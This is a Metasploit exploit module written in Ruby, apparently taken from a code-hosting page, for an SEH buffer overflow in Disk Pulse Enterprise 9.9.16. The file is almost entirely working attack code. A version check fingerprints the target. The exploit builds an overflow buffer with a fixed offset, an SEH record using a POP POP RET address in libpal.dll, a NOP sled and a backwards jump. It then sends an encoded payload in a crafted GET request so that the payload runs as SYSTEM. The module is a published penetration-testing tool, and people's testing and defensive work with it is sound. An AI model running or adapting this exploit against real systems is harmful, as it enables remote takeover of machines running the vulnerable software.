93 lines
2.5 KiB
Ruby
93 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
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'Description' => %q(
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This module exploits an SEH buffer overflow in Disk Pulse Enterprise
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9.9.16. If a malicious user sends a crafted HTTP GET request
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it is possible to execute a payload that would run under the Windows
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NT AUTHORITY\SYSTEM account.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Chance Johnson', # msf module - albatross@loftwing.net
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'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
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],
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'References' =>
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[
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[ 'EDB', '42560' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'EncoderType' => "alpha_mixed",
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'BadChars' => "\x00\x0a\x0d\x26"
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},
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'Targets' =>
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[
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[ 'Disk Pulse Enterprise 9.9.16',
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{
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'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
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'Offset' => 2492
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}]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Aug 25 2017',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(80)])
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end
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def check
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res = send_request_cgi(
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'uri' => '/',
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'method' => 'GET'
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)
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if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Generating exploit...")
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exp = payload.encoded
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exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
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exp << generate_seh_record(target.ret)
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exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
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exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
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exp << 'B' * (5000 - exp.length) # padding
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print_status("Sending exploit...")
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send_request_cgi(
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'uri' => '/../' + exp,
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'method' => 'GET',
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'host' => '4.2.2.2',
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'connection' => 'keep-alive'
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)
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handler
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disconnect
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end
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end
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